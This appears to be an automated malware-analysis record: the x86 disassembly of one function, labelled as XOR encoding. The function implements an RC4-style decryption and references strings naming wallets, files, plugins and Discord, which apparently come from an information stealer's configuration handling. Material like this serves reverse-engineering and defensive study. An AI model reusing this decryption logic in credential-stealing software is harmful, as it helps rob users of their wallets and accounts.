Function at 0x442aed
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x2c0
mov esi, edx
mov ebx, ecx
xor edx, edx
inc edx
mov ecx, str.cFailed_to_get_contextkFailed_to_get_keywalletsfilespluginsdiscord
push esi
call fcn.0045e21c
add esp, 4
test eax, eax
mov edi, 0x4ae578
cmove eax, edi
cmp byte [eax], 3
jne 0x442c1b
mov dword [esp + 0x10], ebx
mov dword [esp + 0x18], esi
mov esi, dword [eax + 8]
mov ebx, dword [eax + 0xc]
mov ecx, ebx
xor edx, edx
call fcn.00478b38
mov dword [esp + 8], eax
push ebx
push esi
mov esi, dword [esp + 0x20]
mov dword [esp + 0x14], edx
push edx
call fcn.0047eb10
add esp, 0xc
xor edx, edx
inc edx
mov ecx, 0x4a7936
push esi
call fcn.0045e21c
add esp, 4
test eax, eax
cmovne edi, eax
cmp byte [edi], 3
jne 0x442c3c
mov esi, dword [edi + 0xc]
mov edi, dword [edi + 8]
mov ecx, esi
xor edx, edx
call fcn.00478b38
mov dword [esp + 0x20], eax
push esi
push edi
mov edi, edx
push edx
call fcn.0047eb10
add esp, 0xc
lea ecx, [esp + 0xb0]
mov edx, dword [esp + 0xc]
push ebx
call fcn.00443a30
add esp, 4
cmp dword [esp + 8], 0
je 0x442bbe
push dword [esp + 0xc]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [esp + 0xb0]
cmp edx, 0x80000000
mov dword [esp + 0x14], edi
jne 0x442c71
mov esi, dword [esp + 0xb4]
mov edi, dword [esp + 0xb8]
mov al, byte [0x4c0b90]
xor ecx, ecx
mov edx, 8
call fcn.0046de40
test eax, eax
mov ecx, dword [esp + 0x10]
je 0x44308a
mov dword [eax], esi
mov dword [eax + 4], edi
mov dword [ecx + 4], eax
mov dword [ecx + 8], 0x4a6804
mov byte [ecx], 6
mov esi, dword [esp + 0x18]
jmp 0x442e29
mov ecx, 0x4a7921
mov edx, 0x15
call fcn.004011b0
mov dword [ebx + 4], eax
mov dword [ebx + 8], 0x493b90
mov byte [ebx], 6
jmp 0x442e43
mov edi, dword [esp + 0xc]
mov ecx, 0x4a7937
mov edx, 0x11
call fcn.004011b0
mov ecx, dword [esp + 0x10]
mov dword [ecx + 4], eax
mov dword [ecx + 8], 0x493b90
mov byte [ecx], 6
cmp dword [esp + 8], 0
je 0x442e43
push edi
jmp 0x442e35
mov eax, 0xfffffeff
lea ecx, [esi + eax]
cmp ecx, eax
jbe 0x443099
mov dword [esp + 0x2c], edx
mov eax, dword [esp + 0xb4]
mov dword [esp + 8], eax
mov eax, dword [esp + 0xb8]
mov dword [esp + 0x24], eax
push 0x102
push 0
lea eax, [esp + 0xb8]
push eax
call fcn.0047f090
add esp, 0xc
xor eax, eax
mov byte [esp + eax + 0xb0], al
lea ecx, [eax + 1]
mov eax, ecx
cmp ecx, 0x100
jne 0x442cb4
xor ebx, ebx
xor ecx, ecx
mov al, byte [esp + ecx + 0xb0]
mov byte [esp + 0xc], al
add bl, al
mov eax, ecx
xor edx, edx
div esi
add bl, byte [edi + edx]
movzx eax, bl
mov dl, byte [esp + eax + 0xb0]
mov byte [esp + ecx + 0xb0], dl
mov dl, byte [esp + 0xc]
mov byte [esp + eax + 0xb0], dl
inc ecx
cmp ecx, 0x100
jne 0x442ccc
lea eax, [esp + 0x1b8]
push 0x102
lea ecx, [esp + 0xb4]
push ecx
push eax
call fcn.0047eb10
add esp, 0xc
xor esi, esi
mov edi, dword [esp + 0x24]
mov ecx, edi
xor edx, edx
call fcn.00478b38
mov dword [esp + 0x1c], eax
mov ebx, edx
push edi
push dword [esp + 0xc]
push edx
call fcn.0047eb10
add esp, 0xc
test edi, edi
je 0x442db5
mov cl, byte [esp + 0x2b8]
mov al, byte [esp + 0x2b9]
inc cl
movzx ecx, cl
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 8]
mov dl, byte [ecx + esi]
mov ecx, ebx
mov edi, dword [esp + 0xc]
lea ebx, [edi + esi]
movzx ebx, bl
mov ah, byte [esp + ebx + 0x1b8]
add al, ah
movzx edi, al
mov dh, byte [esp + edi + 0x1b8]
mov byte [esp + ebx + 0x1b8], dh
mov byte [esp + edi + 0x1b8], ah
add ah, byte [esp + ebx + 0x1b8]
mov ebx, ecx
movzx edi, ah
xor dl, byte [esp + edi + 0x1b8]
mov edi, dword [esp + 0x24]
mov byte [ecx + esi], dl
inc esi
cmp edi, esi
jne 0x442d62
cmp dword [esp + 0x2c], 0
je 0x442dce
push dword [esp + 8]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea edx, [esp + 0x30]
mov dword [edx], ebx
mov dword [edx + 4], edi
mov dword [edx + 8], 0
lea edi, [esp + 0xb0]
mov ecx, edi
call fcn.00434c93
mov al, byte [edi]
cmp al, 6
mov esi, dword [esp + 0x18]
mov edi, dword [esp + 0x10]
jne 0x442e52
mov ecx, dword [esp + 0xb4]
call fcn.00434b1a
mov dword [edi + 4], eax
mov dword [edi + 8], 0x4a6714
mov byte [edi], 6
cmp dword [esp + 0x1c], 0
je 0x442e29
push ebx
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x20], 0
mov eax, dword [esp + 0x14]
je 0x442e43
push eax
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, esi
call fcn.0041de5c
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
lea edi, [esp + 0xb0]
mov cl, byte [edi + 3]
mov byte [esp + 0x1bb], cl
movzx ecx, word [edi + 1]
mov word [esp + 0x1b9], cx
mov ecx, dword [edi + 4]
movups xmm0, xmmword [edi + 8]
movups xmmword [esp + 0x1c0], xmm0
mov byte [esp + 0x1b8], al
mov dword [esp + 0x1bc], ecx
mov ecx, 0x4a7948
mov edx, 7
lea eax, [esp + 0x1b8]
push eax
call fcn.0045e21c
add esp, 4
mov ecx, edi
mov edx, eax
call fcn.00414844
mov al, byte [edi]
cmp al, 6
jne 0x442ebf
mov dword [esp + 8], 0
jmp 0x442edf
mov dword [esp + 8], eax
movsd xmm0, qword [esp + 0xc0]
movsd qword [esp + 0x5f], xmm0
movups xmm0, xmmword [esp + 0xb1]
movaps xmmword [esp + 0x50], xmm0
mov ecx, 0x4a794f
mov edx, 5
lea eax, [esp + 0x1b8]
push eax
call fcn.0045e21c
add esp, 4
lea edi, [esp + 0xb0]
mov ecx, edi
mov edx, eax
call fcn.00414844
mov al, byte [edi]
cmp al, 6
mov dword [esp + 0x28], ebx
jne 0x442f1d
mov dword [esp + 0xc], 0
jmp 0x442f3d
mov dword [esp + 0xc], eax
movsd xmm0, qword [esp + 0xc0]
movsd qword [esp + 0x7f], xmm0
movups xmm0, xmmword [esp + 0xb1]
movaps xmmword [esp + 0x70], xmm0
mov ecx, 0x4a7954
mov edx, 7
lea eax, [esp + 0x1b8]
push eax
call fcn.0045e21c
add esp, 4
lea edi, [esp + 0xb0]
mov ecx, edi
mov edx, eax
call fcn.00414844
mov bl, byte [edi]
cmp bl, 6
jne 0x442f72
xor ebx, ebx
jmp 0x442f94
movsd xmm0, qword [esp + 0xc0]
movsd qword [esp + 0x9f], xmm0
movups xmm0, xmmword [esp + 0xb1]
movaps xmmword [esp + 0x90], xmm0
mov ecx, 0x4a795b
mov edx, 7
lea eax, [esp + 0x1b8]
push eax
call fcn.0045e21c
add esp, 4
lea edi, [esp + 0xb0]
mov ecx, edi
mov edx, eax
call fcn.00414844
mov al, byte [edi]
cmp al, 6
jne 0x442fc8
xor eax, eax
jmp 0x442fe4
movsd xmm0, qword [esp + 0xc0]
movsd qword [esp + 0x3f], xmm0
movups xmm0, xmmword [esp + 0xb1]
movaps xmmword [esp + 0x30], xmm0
mov edi, dword [esp + 0x14]
mov edx, dword [esp + 8]
movsd xmm0, qword [esp + 0x5f]
mov ecx, dword [esp + 0x10]
movsd qword [ecx + 0x10], xmm0
movaps xmm0, xmmword [esp + 0x50]
movups xmmword [ecx + 1], xmm0
movsd xmm0, qword [esp + 0x7f]
movsd qword [ecx + 0x28], xmm0
movaps xmm0, xmmword [esp + 0x70]
movups xmmword [ecx + 0x19], xmm0
movsd xmm0, qword [esp + 0x9f]
movsd qword [ecx + 0x40], xmm0
movaps xmm0, xmmword [esp + 0x90]
movups xmmword [ecx + 0x31], xmm0
movaps xmm0, xmmword [esp + 0x30]
movups xmmword [ecx + 0x49], xmm0
movsd xmm0, qword [esp + 0x3f]
movsd qword [ecx + 0x58], xmm0
mov byte [ecx], dl
mov edx, dword [esp + 0xc]
mov byte [ecx + 0x18], dl
mov byte [ecx + 0x30], bl
mov byte [ecx + 0x48], al
lea ecx, [esp + 0x1b8]
call fcn.0041de5c
cmp dword [esp + 0x1c], 0
je 0x44307a
push dword [esp + 0x28]
push 0
push dword [0x4c0b18]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x20], 0
jne 0x442c6b
jmp 0x442e43
mov ecx, 4
mov edx, 8
call fcn.0048d220
mov ecx, 0x4a5cf5
mov edx, 0x35
push 0x4a5d2c
call fcn.0048d410